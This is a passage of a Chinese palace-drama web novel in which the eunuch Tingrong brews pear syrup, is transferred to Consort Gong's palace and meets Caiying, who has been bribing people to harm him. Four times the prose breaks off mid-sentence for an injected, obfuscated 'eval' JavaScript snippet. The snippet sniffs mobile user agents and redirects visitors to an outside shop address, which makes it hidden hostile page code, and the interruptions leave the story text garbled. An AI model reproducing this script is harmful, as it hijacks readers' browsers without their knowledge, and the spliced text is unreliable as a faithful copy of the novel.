刘柏站在地里,看着上升的日头,反倒是一脸愁容。 “公公这是怎么了?”听容看到了不能装没看到。自上次他给刘柏出了注意后,刘柏对他的态度也要比对旁人好些。 “这都多久没下雨了?” 他不说,听容还真没多想。宫里不缺水浇地,也没有小溪让他留意水流大小,自然缺少感知。 “好像……真的好久了。”听容的记忆都开始模糊了,白净的没被晒黑一点的脸跟着抬头看日头,今日依旧是万里无云。 刘柏叹气:“若这样下去,今年农家的收成怕是要糟。” 他说这话,听容还挺意外,没想到刘公公居然这样心系百姓。 刘柏看出了他没藏的心思,笑道:“我也是农家子出身,进宫后就一直在勤耕院干活儿,对老天肯不肯赏脸还是上心的。” “如果总不下雨,应该会举行祈雨仪式吧?”听容不知道京中有没有,反正他们村是有的。 “肯定啊。若是多个地区都无雨,宫里也会请僧人举行仪式,皇上会亲自前往。” 这对听容来说与他关系不大,他听一听就罢了。 浇完地里的水,太阳升得高高的,勤耕苑的小太监们都坐在廊下躲着,一人分了一个梨子。 “这梨子水份挺足,可就是一点儿都不甜。” “要是够甜,还能轮到咱们吃?” “库里还有好多,也不知道什么时候能吃完。我现在看到梨子都有些腻了。” “往年结的梨子味道都挺好的,去年这一茬也不知道怎么了,不仅不甜,还长得丑。” 听容边吃梨边听他们闲聊。这些梨是勤耕苑去年收的。耕地边缘都种了果树,每年的收成说不准,去年这批梨收了拿不出手,就放库里存着了,想着要是尚膳房能用,也是个去处,结果尚膳房也没动静,一直搁到现在,再不吃完等天再暖些,就要烂完了,这才轮到他们。 这些丑梨子比不得严昱祉给他拿的那碟蜜瓜,可对听容来说,有得吃就是好的,毕竟在家那会儿,他也没吃过几个梨。 刘柏也跟他们一起啃梨,只是不说话。 有个小太监看了看听容,又看了看刘柏,犹豫了好一阵儿,才开口:“听容,你最近是不是得罪人了?” 听容愣了愣,说:“我从来了勤耕苑,天天与你们一处种地,能得罪谁?” “也是。”小太监琢磨了一会儿,继续说,“刚才我从外面回来,被一个宫女叫住了,向我打听你的情况。然后要塞银子给我,说让我给你使点绊子,别让你太好过。如果办好了,会再给我赏钱。” 刘柏眉头一皱,还没等他开口,小太监就忙道:“我没敢接,就直接跑了。” 听容第一个反应就是庄贵妃,因为孔量被打发了,要重新找人。不过对方是贵妃,就算想办这个事,还能光天化日地在勤耕院门口找人吗? 再说,有了孔量的前车之鉴,就算他们不知道他和孔量有什么仇怨,就刘公公处理事情态度来看,他们也不敢造次,至少短时间内不敢,所以逃走是必然的。 “对方长什么样子?”听容问。 “倒是没什么特别的……”小太监回忆着,“她戴了一对红石榴似的耳环。哦,对了,鼻梁上还有一个小小的痣!” 听容立刻想到了采莺。 “你认识?”刘柏问他。 听容点点头,小声说:“是我前主子的贴身侍女,不过我与她并无冤仇,她找我麻烦做什么?” 刘柏从没明说,可他心里很清楚听容是怎么被调到这儿来的,作为管事,如果这点打听事的本事都没有,位置也坐不稳。 于是他站起身,对手下的小子们道:“咱们勤耕苑虽算不上宫里顶好的去处,但只要你们安分,也能平安度日。我向来不管你们那些弯弯绕,谁要是有本事从这儿爬出去,我也赞你们一句是有脑子的。可若是谁想往上爬,或者多拿那三瓜俩枣的银子,而坏了苑里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213930|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规矩,害了同在苑里辛苦的同僚,就别怪我不客气了。” “是。”大家齐声应着。 刘柏又指了指刚才的小太监:“你这事办得不错,你们以后若再遇上这种事,定要同我说一声。我不挡你们的青云路,你们也别碍我的独木桥。” 听容琢磨了一下午,还是没想到自己哪里得罪了采莺。不过只要不是庄贵妃派人来整他,倒还不算太危险。若是找到机会他能见到芷月问一问,或许会有答案。 勤耕苑采用轮休,每十日休一日,今日轮到听容休值。他没什么安排,吃过早饭后想着问问大家托哪位公公能帮忙从外面带些吃的。 不过还没等他问呢,小禾就出现在了勤耕苑。 小禾笑得还挺不好意思:“我打听过了,你今天休值,特地来找你玩。” 小禾不是太监,进后宫不方便,要到勤耕处就得避开六宫,绕一个大远路。 听容猜那天他和严昱祉说的话,严昱祉并没有告诉小禾,所以小禾才会来。 其实见到小禾,听容还是挺开心的,不用待在勤耕处,又不至于没处可去,倒有种出去串门的感觉。只不过一个门串到皇子所,的确让人有压力。 跟刘柏报了自己的去处,听容就跟着小禾离开了。两个人依旧绕着远路,甚至一路都没说什么话,可听容并不觉得无聊,也不觉得路远。 进了致书堂,严昱祉不在。 听容随口问道:“严公子去学堂了?” 小禾笑道:“没有,公子出宫买东西去了。” “怎么没带你?”听容想着严昱祉说小禾不喜欢宫中拘束,既然出宫了,没理由不带小禾。 小禾端上茶水和点心,请他坐:“我和公子轮着出宫才不点眼,这样出去的次数还能多些。” “原来如此。”听容倒没想过让小禾帮他带吃的,虽然这是个现成的人选,但说不定过几天小禾就跟着严昱祉回南边去了,不是长久之选。 “你换了地方,我的果脯没了,找你也不方便。”小禾坐到他身边,孩子气地说,“你什么时候才能调到一个我好找的地方呢?” 听容笑道:“这事我说得不算啊。” “我前几天跟公子提了,希望他想想办法。”小禾把点心往听容那推了推,示意他吃,“可公子说你得靠自己。别人帮你调了职,但你不是不可或缺的那一个,遇上事就是第一个被舍弃的,还不如安居一隅。只有你凭自己挣出一条路,主子从一开始就觉得需要你,才不容易被舍弃。” 小禾的话可能只是跟他陈述一个实事,却给了听容不小的启发。之前芷月将他引荐到长宁宫,并不是循才人非他不可,只是长宁宫需要一个太监,不是他,是别人也可。加上循才人的性格,即便他努力获得认可,出了事依旧不会被保。 “严公子说得很是。”听容微笑道。 “我是不知道公子说得对不对,我还是希望能找你方便一些。”小禾说,“我看着你都累瘦了。” 听容笑意深了些:“其实我在勤耕苑过得还不错。” “好在哪儿?”小禾不解。 听容想了想,逗他说:“有丑梨子吃。” 小禾瞪大了眼睛,一脸“这算什么好”的表情,倒是把听容逗乐了。 19.第19章 严昱祉不在,小禾心思又干净,听容跟他说着话,慢慢也变得放松了。 “跟你打听个事,行吗?”听容想来想去,也没有更好打听的地方,小青子或许是个选择,但他也不得空去御酿局。 “什么事?”小禾点头应道。 “循才人现在如何了,你可知道?”他倒不太指望小禾给他多详细的消息,毕竟小禾又不去六宫,但聊胜于无。 “你不知道呀?”小禾似乎没想到听容完全不了解,“我还以为你们那边人多,消息会传得灵通些。” “若是别处或许是吧,往各宫送东西的地方消息倒是比较灵通,我们勤耕苑不行,每天两眼一睁就是去地里。”听容说的是实话。 小禾不吝分享:“我也是听皇子们随身的小太监说的。说是那日失火之后,皇上就没再召过循才人,大有失宠之势。” 听容挺意外,在他想来,循才人受了那么大惊吓,皇上怎么也应该常去看看才对。 “皇子身边的小太监怎么知道的这么清楚?”他倒不是怀疑小禾的消息,只是没想到消息是这么传开的。 小禾神神秘秘地说:“公子跟我说过,皇子们关注的不止前朝,还有后宫。毕竟哪位嫔妃得宠,日后生个皇子,对他们来说都是竞争对手。所以这些消息都得勤探着。” “说的也是。”听容了然了。 “还有别的消息吗?”听容继续问。 小禾是进宫后第一次有了自己消息比别人快的自豪感,又分享说:“良嫔有孕了你知道的吧?” 听容点头。 “一开始宫里简直都在围着她转,但近来皇上也不大去看她了,她倒是消停了不少。”小禾说八卦并不带任何个人情绪,只是单纯地说自己知道的事,语言就够简练。 “皇上为何不去了?对了,我之前给恭贵妃娘娘宫里送野菜,还看到良嫔的宫女来要娘娘宫里的太监来着。” “是有这么回事。”小禾倒没多说他送太监出宫的事,只说,“你知道吧?良嫔打死了个太监。” 听容再次点头。 小禾:“皇上知道了,觉得犯了忌讳,连带着对良嫔和孩子都淡了不少,所以不大去了。不过我听公子说,那太监是被失手打死的,应该不是良嫔的本意,只是她下令处罚的,事就算到她头上了。可话说回来,能这么给良嫔当头一棒,良嫔还不敢只声,公子说很可能是庄贵妃买通了行刑的人干的。” 听容虽不清楚良嫔和庄贵妃有什么恩怨能让她这么做,可单就庄贵妃素日的所为,能想要烧死循才人,后还不想放过他,可见庄贵妃是个容不得别人分宠的。 “后宫真的是防不胜防。”听容感慨。 “是啊。天天听这些,我都想回南疆去了,我们那儿可没这么复杂的事。”小禾拿了块糕点吃起来。 “你们确定什么时候回去了吗?”听容也拿了一块,并随口一问。 小禾摇摇头:“还没有。得等娘娘身体完全好了才成。” 听容想想也是,大老远来了,如果不看着恭贵妃娘娘完全康复,严昱祉回去恐怕也不能让家里安心吧。 小禾吃了半块点心就开始有些干咳,只能无奈地放下去喝水。 “噎着了?”听容观察着,怕他真的噎着了。 小禾摆摆手:“茂京的气候干,虽然入春了,但和我们南疆还是没法比,就有些干咳。已经让季哥给我看过了,说没什么大事,不用担心。” 听容表示理解,并说:“又好久没有下雨了,就感觉更干了。” 勤耕苑倒没有这样的症状,不过大家几乎每天都要吃一个梨子,不好吃是一回事,感觉舒服是另一回事。 “说到不下雨,院子花坛里的花都蔫了,四皇子还说这么下去,今年入夏可能开不成花了。” 听容一直在致书堂待到吃了晚饭才回去。 一回住的院落,就见刘公公带着几个人正在库外挑梨子。 “刘公公。”听容走了过去。 “回来了?”刘柏看着这一堆梨发愁,“我看这些一时半会儿是肯定吃不完的,实在不行就只能报了内务府总管,看看怎么处理了。总不能真等着烂掉吧?” 听容想到小禾不时会咳一声,立刻有了主意:“公公,要不我把它们都制而梨膏吧。这样能多储存一阵,平时拿来泡水喝也是好的。” “你会?”这个主意明显让刘柏挺高兴。 “会,但要想效果好,可能需要一些药材。”别人精致的做法他是不会,但村里的土法子他是会的。 “那行,你来做。需要什么药材你跟我说,我去御药房要一些来。”这个面子刘柏还是有的。 于是熬梨膏的活就正式开始了。为了加快速度,刘柏还特地多留了两个人帮着切梨,这东西不难弄,就是切梨费事些,毕竟量大,听容一个人肯定切不过来。 忙了三天,梨膏全部装瓶,勤耕苑里每个人都分了一大瓶,剩下的密封存进了库里慢慢喝。 一早,听容用开水沏了梨膏,送到了刘柏屋里。 刘柏已经起了,正在收拾床铺。他不指使手下的小太监给他干这活儿,他的屋子如果没有需要,也不会让人进。 “听容。”刘柏叫住要出去的他。 “公公还有什么吩咐?” “你应该争取去更适合你的地方。”刘柏说。 “公公怎么突然说这个?”听容觉得这个话题说的突然。 刘柏坐到桌前:“你怎么来这儿的,我很清楚,想必你也不糊涂。我本来也没多想,但前几日有人想拿银子收买咱这儿的人,倒是给我提了个醒,让我想起了孔量。这几日便小心打听了,了解了个大概。” 听容从没觉得刘公公有心查,会什么都查不到,他没说话,也没装无辜,越是像刘公公这种人,其实越难知深浅,就越没必要在他面前装,弄不好适得其反。 刘柏看他的表情就明白了,笑道:“你是真聪明,胆子大,下手也利落。私心来说,我是愿意留你的,你活儿干得好,孔量那件事后,勤耕苑不仅人心没乱,还比之前更好了。但也因为你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217217|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得力,我就自己这么多年宫里的经验也跟你说句对你有利的话,你待在这儿我虽愿意保你,但你太被动了。你伺候过主子,应该明白,在六宫伺候其实远比在这儿安全,当然,前提是你得有个好主子。” “谢谢公公提点,小的也想好好活着。但伺候主子这事,得主子觉得需要我,如果我做不成那个不可或缺的,还不如待在这里。至少对您来说,我还有点用。”刘柏跟他直言了,他也可以直抒自己的想法。因为他知道刘柏是为他好。 刘柏笑了:“那且走一步看一步吧。” 趁着正午休息的间隙,听容抱着个小罐子去了皇子所。 小禾见到他惊讶又高兴,赶紧拉他到自己屋里坐。 听容:“我不能多待,还得回去干活。这是我熬的梨膏,你说有点干咳,用这个泡水喝会舒服很多,每天喝一次就行。” “哇,做这个得多麻烦啊。”他不知道熬梨膏要多久,只是觉得听容现在手头上没多少工具,做这个肯定是费事的。 “没什么麻烦的,反正库里丑梨子多,再不吃也放不住了。”听容没有邀功的意思。 “谢谢你,我肯定把它们都喝完!”小禾笑得很开心。 听容心里也舒坦,觉得多少是能回报一些小禾带给他的温暖了。 晚些时候,严昱祉拿了一瓶从小禾那分出来的梨膏去了繁秀宫。 “昨日您说表妹有些咳嗽,我这儿得了些梨膏,您帮着转交给表妹吧。”严昱祉把小瓶递给旁边的芳眉。 “哎呦,她就咳那么几声,还让你操心了。”恭贵妃心里还是挺高兴的,一家子兄妹和睦,她乐见。 “表妹和您一样不爱喝药,我想着让御医院熬的药味肯定重些,表妹未必喜欢。正好得了这个,我尝了些,清甜味更重,表妹应该会喜欢。”严昱祉这是借花献佛。 “这倒是好。”恭贵妃让芳眉给三公主送去,才又问,“你哪儿得的?让季汀熬的?” “不是。是听容制的。”借花献佛,严昱祉也没忘记是谁摘的花,“前两天小禾找他玩,他见小禾咳了几声,就给制了这个。我看小禾中午喝完,到现在都没干咳了,想着应该是有用的,就从小禾那儿分了点来。” 若换做别人,知道是从仆从那里分来的,多半会嫌弃。但恭贵妃不会,她从小从父母那学来的,就是自己与严家麾下的侍卫、仆从都是一体的,自家人就没有谁嫌弃谁的说法。 “这个听容本事还挺多。”恭贵妃乐道。 “宫里不缺有本事的,但这份细心很难得。”主要这份细心还是对小禾的,可见听容并不是不想跟小禾交朋友。而对着于他来说没什么助益的小禾都能如此用心,应该不是个势利眼。 “也是。”恭贵妃认同,“虽不是给你表妹的,但你送来了,我理应赏他点什么。” 严昱祉笑说:“从言金被送出去,您宫里的小厨房就缺人。他既然会制些吃的,做法又是宫中不常见的,之前按他的说法做的野韭菜饼您吃着也喜欢,不如把他要来繁秀宫伺候吧。” 20.第20章 恭贵妃的笑容里多了些许探究,就像春日的阳光,没有咄咄逼人,却能晒出隐藏在阴影下的东西。 “他被调到勤耕苑的时候也没见你想把他塞我这儿,只是让芳眉以小禾的名义送了吃的过去。怎么这会儿又想把他调来了?”这对她来说不是难事,她只是对侄子的转变有些好奇。 他知道严昱祉不是意气用事的人,所以想往她这儿调人,应该是经过深思熟虑了。 严昱祉笑得满不在意:“以前只觉得他长得好,现在觉得他倒是有些本事的。姑母若是愿意拉他一把,他应该会心存感激,伺候起来也会忠心。” “仅是如此?”恭贵妃挑眉,漂亮的脸居然透出了几分少女的狡黠。 严昱祉不慌不忙地继续说:“不瞒姑母,这些日子我与皇子们及他们的陪读一起练骑射,已经是非常收敛了,可皇子们的水平实在是不怎么样。再这么下去,皇上恐怕会警惕起我的武学。所以我想着得再搞些荒唐事,让皇上觉得我武学可能没那么差,但本性也不见得有多好。 “把听容要到繁秀宫,您对外可以说是我求的,在您这儿吃饭,要找好看的伺候。这样皇上应该就不会太关注我的武学了。” 这个办法不见得有多精妙,但确实可以接上严昱祉进宫以来的风评,严昱祉喜爱好颜色,这样的认知往往会与没有大志向联系到一起,确实是个遮掩锋芒的好办法。 “如此,你不就又利用听容了?这个人情你打算怎么还?”恭贵妃笑说。 “把他调出勤耕苑,已经算是还人情了吧。”严昱祉靠着椅背,显得很散漫,“有您在,他也算能得到庇护。以后若能和言金一般,也是他的造化了。这么想来,应该算他欠我人情才对吧?” 恭贵妃掩唇笑出了声:“怎么都是你有理,胡搅蛮缠的混小子。” * 吃完早饭,听容刚拿上锄头准备去地里,司职处的人就来了。 “何事啊?”刘柏走上前来。 来人笑道:“是好事。听容是哪个啊?” 听到自己的名字,听容上前一步:“小的是听容。” 来人打量了一番,道:“恭贵妃娘娘宫里缺人,指名要让你过去。你小子福气好,繁秀宫是多少人挤破了脑袋都进不去的地方。” 随后他又看向刘柏:“刘公公,您手下的人让娘娘看中了,说明您管理有方啊。” 宫里的关系就是这样连起来的,听容从这里出去,若是得了恭贵妃的重用,刘柏与他的关系又不错,那以后勤耕苑要有什么事,听容多少会帮一些,这就是保障。 因为芳眉和小禾都来找过听容,所以刘柏想过听容或许可以靠这层关系走得高一些,但没想到是直接一步到位,进了繁秀宫。 “还不快谢恩?!”刘柏拍了听容一下。 听容这才回过神来,谢了恩。他多给繁秀宫抓了把野菜也好,给小禾送梨膏也好,不能说完全没有刷好感的意思,却也没想利用这些爬到繁秀宫去。 在他的预想里,他送小禾梨膏是真心希望小禾能够止住干咳。若再有什么,就是希望显得自己有些用处,若以后有机会,严昱祉想到他的“有用”,或许能给他调个好地方。可如果没有这个机会,他也不会失望。 只是他万万没想到,机会来得如此之快。 “行了,收拾收拾过去吧,别让娘娘等着急了。你以前在六宫伺候过,规矩什么的就不用我多提点了。”司职处的太监办妥了事,就悠哉地走了。 刘柏笑道:“这下好了。” 听容向他行礼:“多谢公公这些时日的照顾了。” “我可没照顾你什么,你好好的,我脸上也有光。”刘柏明白,司职处的人态度这么好,是因为听容去的是繁秀宫。他自认对听容只能说是无功无过,以后听容爬得高了,若愿意照顾他们勤耕苑自然是最好,若不愿意,他也没话可说。 再次收拾进了东西,听容有一瞬间的恍惚,他真正进宫开始伺候其实没多久,却因为换了不少地方,好像待了很久似的。 他不清楚繁秀宫是个什么情况,里面的人是比循才人那儿好,还是差,又或者都是一样。可他知道,这次机会难得,如果再摔下来,他恐怕很难再有这么高的位置可去了。所以只要繁秀宫不是个草菅人命的地儿,他一定要努力留在那里。 繁秀宫对他来说并不陌生,进了门他就看到了芳眉。 芳眉见他来了还挺高兴,趁着宫人们不忙,给他介绍了一番。 恭贵妃作为一宫的主位,还是贵妃,手底下伺候的人很多,繁秀宫又只给恭贵妃一个人住,人手更是缺不得了。贴身伺候的除了芳眉这位掌事姑姑,还有一位大宫女灵瑚,也是跟了恭贵妃许多年了。 原本的掌事太监言金前些日子被送走了,以听容的资历还占不上掌事太监的位置,但要做的活儿却是言金留下的那摊子。 说来也是听容赶得巧,别人宫里小厨房里忙活的都是宫女,只有繁秀宫是掌事太监。言金也的确做了一手好菜,就算不能跟御厨比,却也能做一些与宫中不同的民间风味,很得恭贵妃喜爱。所以言金离宫后,繁秀宫很需要一个会做吃食的太监,虽还不知听容厨艺如何,但能做果脯,知道野菜如何烹饪好吃,已经是很大的优势了。 “那些下人房都住满了,只能给你住言金之前的屋子了。”芳眉带着他去了住处,和那些大宫女说话时的温和相比,芳眉的年纪让她多了些许威严。 “多谢姑姑。”这里地方虽小,但床铺桌椅都不缺,打扫得也很干净,而且他一个人住,肯定更自在些。 “你且收拾着,我给你说说咱们宫里的规矩。”和之前给他送点心时的态度相比,芳眉此时更严肃些,毕竟之前她是帮着还人情,现在是听容要来宫里伺候了,她得把利害说清楚,听容才不容易犯错。 芳眉跟他讲完后,才带他去见了恭贵妃。这不是听容第一次见到恭贵妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222556|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却是第一次正式与恭贵妃说话。恭贵妃声音很清脆,听在耳里十分舒服。而同样是贵妃,和庄贵妃比,恭贵妃的打扮低调不少,可自带的华贵并不需要装饰突显,还让人看着格外舒服。 “繁秀宫的规矩芳眉都跟你说了吧?”恭贵妃语气还算和善。 “是。”听容低头答话。 恭贵妃扬了扬嘴角,芳眉唱了白脸,她就可以唱红脸了:“你若做得好,本宫必不会亏待你。你都会做什么菜?” 听容不敢托大,说:“奴才是乡下出身,会的不过是些村里人的吃食。村里人东西吃得杂,山上的,河里的,都要会做些,不能说多好吃,下饭是可以的。” 他说的这些看以上不得台面,但也恰恰是在说无论什么货,他都能做上一做。 恭贵妃觉得有点意思:“今儿你刚来,先去小厨房熟悉一下,明天你做两道菜本宫试试。” “是。” 见他不上赶着说好话,也不标榜自己的能耐,恭贵妃心里满意。她喜欢聪明的,能干的,但很忌讳张扬的。 退出正殿,听容去了小厨房。宫里的小厨房和下膳局比那是小得多了,但对听容来说足够大,这一间厨房甚至比他家整个屋子都大。 此时小厨房里的几个宫女已经在为晚膳备菜了,听容既然来了,总不能干看着,便帮着打下手。芳眉过来看了一眼,见他自己找活干了,便没进去。 “灵瑚姐姐,这些萝卜要处理吗?”听容洗完菜,看到几个白萝卜被堆在一边,便问了一句。 “还没想好怎么做,等用的时候再洗吧。”灵瑚个子小小的,圆脸,说话声音很甜。 听容倒不是想表现,只是看那萝卜的样子应该是放了挺长时间了,再不吃水分不足了,可就难吃了。 “如果没什么用得上它们的,我给腌了咸菜吧?”听容试着问。他不知道自己这样会不会被认为是想表现,惹人烦,可他想留在这儿,就得体现出价值。 灵瑚乐道:“那敢情好,娘娘喜欢酸辣口的,你可能做?” 她的好态度感染到了听容,听容笑说:“可以的。” 说着,他就挑了两个大的,洗刷起来。 灵瑚与他闲聊说:“言金公公在时,会拿这个炖了汤给娘娘喝,但现在天慢慢热了,娘娘喜欢清淡一点的汤,这几个萝卜就派不上用场了。” “的确。”冬吃萝卜夏吃姜,现在已经不是吃萝卜最好的时节了,“若这些萝卜都用不上,那我再腌些其他口味的给姐姐们下粥吧。” 在厨房帮着忙活的几个小宫女见他还记挂着她们,都笑起来。 灵瑚道:“我们都跟着主子的口味吃就行,不挑的。不过你倒是可以制些咸辣的,严公子应该会喜欢。” “好。”听容应着,就开始忙活了。他倒没太考虑严昱祉的口味,而是想到了小禾,小禾跟着严昱祉吃饭,他又爱甜,制些甜辣的,或者酸甜的,小禾应该会喜欢。 21.第21章 制好的小菜当晚就可以上桌,只是还不够入味。芳眉只夹了一小碟给恭贵妃试菜,剩下的听容封了起来,明早吃刚刚好。 “母妃,这个小菜好清爽,配这碗面刚刚好。”三公主赵语棠惊喜地抬头道。 野鸡熬的汤底配上细面,很香,但多吃几口也会腻,配上这样清爽酸辣的小菜,刚刚好。 赵语棠和其他公主一样,平时养在寿安宫,由太妃们照料。大勉朝的公主皆是如此,也是担心为娘的心疼女儿,不忍心苛责,把女儿养得骄纵任性。不过每隔几日,公主都可以到自己母妃宫里用膳,像赵语棠这样受宠的公主,更是常来的。 恭贵妃笑道:“你喜欢回去的时候给你带一些。”说着,自己也夹了一块。 完全合她口味的腌菜让恭贵妃眼前一亮,对芳眉道:“这小菜制得好,灵瑚她们手艺精进了。” 芳眉给边给公主布菜边道:“是听容做的。他很勤快,在小厨房打下手,也不需要给他安排活,是个眼里有活的。” 宫里什么山珍美味都不缺,就算自己宫里的小厨房做不出来,尚膳房也能送来一桌珍馐。正是因为吃得多,倒衬得这些小巧的甚至不大能拿上席面的小菜格外有滋味。 “倒是不错的。”恭贵妃很信芳眉,芳眉说好的她都不用怀疑,“让他再装一些,让棠儿带回寿安宫去,正好也让太妃们尝个清爽。” 现在还能留在宫里,且能教导公主的太妃都是无子无女的且出身大家的,也只有这样的太妃才能教导好公主,又与宫里其他人没有什么利害关系,从皇上到妃子都放心。 赵语棠神神秘秘地凑近了恭贵妃:“母妃,我可听说了,这个小太监是二表哥推荐给您的,说是长得及好。” 她长得很像恭贵妃,十六的年纪说起话来也有几分恭贵妃少女时的神态,但性格没有恭贵妃强势,在公主中也算随和的。 恭贵妃不在意她听说这些,在宫里的孩子,性子可以好,但得多听多看多留心,多长心眼,可以装兔子,但不能真当兔子。 “还听说什么了?”母女两个没什么拘束,恭贵妃私下也不讲那么多规矩,跟女儿一处更显亲近。 殿内没有外人,赵语棠放心地继续说:“我先前还听人传,说二表哥喜欢漂亮的,疑似好男色。还有,说他学文不佳,但骑射还不错,不过也只是相对而言。严家怕是出了个不肖子。” 恭贵妃听着这些话,表情没有任何变化,这些话多半是从皇子所传出来的,再经由皇子传到其母妃耳朵里,后妃可能当闲聊说给了公主听,最后传言聚到寿安宫,就变成了女儿听到的这些。 “你怎么看?”恭贵妃笑问。 赵语棠又夹了一筷子萝卜小菜:“我觉得二表哥很好,经常从宫外给我带东西,和睦我们表兄妹的情谊,又克己复礼,都是交由您给我的。就算真如传言中那般学业不精,只要没为非作歹,也算不了什么。” 恭贵妃很满意:“昱祉是个好孩子。以后再有人说他的不是,你不必放心上。若是传言过分了,你与我说,我来处理。” “是。”赵语棠其实没见过严昱祉几次,但初见时她就觉得这位二表哥给她一种极为可靠的感觉。好像只要二表哥在,她和母妃就没有可担心的了。 用过饭后,三公主就带着小菜回去了。听容这边又接到吩咐,让他明早给严昱祉那边送些。他早就准备好了,只不过给小禾的占了大头。 由于听容是要到小厨房干活的,没有那么多让他补觉的空档,所以芳眉不会安排他值夜。 晚上,恭贵妃睡下了,下人们各回各屋,悄声洗漱,抓紧时间睡觉。和在其他局里当差不同,那些地方会有固定的起床和入睡时间,但在嫔妃宫里当差,就必须得在嫔妃起身前收拾好自己,随时待命。若妃嫔是个能多睡的还行,若是赶上个觉少的主子,那也是很遭罪的。 听容总觉得繁秀宫到处都香香的,就连他的屋子都没有一点怪味儿,待得很舒服。干净的巾子,可以混上热水的洗漱用水,柔软的被褥和充足的烛火,此时从忙碌走到安静,让他开始有种不真实感。 之前在循才人宫里时,他已经觉得很好了。可万万没想到,还有更好的。难怪人人都想往上爬,能活下去肯定是重中之重,但在这里能活得体面,也会让心里有很大的慰藉。他想在这儿好好待下去,至少在这儿里,他觉得自己好像活得像个人了。 寅时正刻,听容起床了。他快速收拾好自己,就去了小厨房。此时繁秀宫的宫女太监们也都醒了,大家各自忙碌着,每个人都很安静。 小厨房煮了粥,恭贵妃早上喜欢吃面食,听容就烙了几张软面肉馅饼,加上解腻的萝卜咸菜,配上御膳房送来的吃食,一并送上了桌。 坐到贵妃这个位置,三餐除了小厨房忙活,御膳房也会送几道菜过来。这么多东西恭贵妃肯定是吃不完的,但是下人多,大家分一分都能吃饱,还不浪费。 小厨房忙碌期间,恭贵妃去给皇后请安,回来正好用早膳。 等听容把小厨房收拾好,恭贵妃的早膳也用好了,桌上的饭菜都撤进了小厨房,听容注意到其他东西都有,但他做的肉馅饼却没剩下。 他做了六张,想来恭贵妃是不可能都吃完的,也不知道是谁提前给分走了。 正想着呢,灵瑚掀开帘子走了进来,看他还在忙活,道:“别忙了,先把饭吃了吧。你做的馅饼味道真好,就那么薄薄的一层馅,怎么就煎得那么香啊?” 听容被夸得太突然,倒有些不好意思了:“是宫里的东西好,怎么做都好吃。” 灵瑚笑道:“娘娘吃了两张呢。剩下的我和芳眉姑姑给分了,没给你留。” 正常怎么也要给厨子留一口。 “没关系,这还剩了好多其他吃食呢。”繁秀宫的吃食比致书堂的还好,听容是很喜欢的。 等他吃完饭,小宫女们已经把厨房的收尾活做好了。听容没别的事,拿上给小禾和严昱祉的咸菜,跟芳眉姑姑说了一声,就去送了。 这会儿太监在宫里的优势就体现出来了,在主子允许的情况下,太监能活动的范围比宫女大,能自在些。 太阳晒得有些热,但透气的衣料并不会拘在身上,倒是不难受。也是进了繁秀宫听容才发现,同样是太监穿的深蓝色的袍子,贵妃宫里的料子就比其他地方的都好,表面不仔细看很难发现,但穿在身上就能感觉到了。由此可见,宫里看人下菜碟的本事处处都有。 “听容? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227246|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 突然被叫住,听容一转头,就看到了隔开两处甬道的门的另一边的芷月和采莺。 “芷月姐姐。”听容走上前微微行礼,但并没和采莺打招呼。他到现在都不清楚采莺为什么要收买勤耕处的人针对他。不过现在看两个人的态度,芷月应该是不知道这事的,那针对他多半是采莺一个人所为。 “这个时间,勤耕处不忙吗?”芷月挎着篮子,语气亲近中带着安心,似乎看到听容无恙,她就放心了。 “奉命去送些东西。”听容举了举手里的食盒,他一个小太监,调动的消息不会被特别留意,芷月不知道很正常。 没等芷月再开口,一旁的采莺就斜眼瞅着听容,阴阳怪气:“又是想去奉承谁啊?” 又?听容心下奇怪,这个“又”从何来? 芷月也一脸惊讶地看着采莺:“采莺姑娘,你这说的什么话?” 听容毕竟是救了火海中的循才人,之后循才人没保听容,本就让长宁宫里人心涣散了。现在采莺语气针对听容,实在是不应该。 采莺拉了芷月一把,说:“你可别心疼他,他手段了得,前些日子我还看到他巴结严公子呢。” 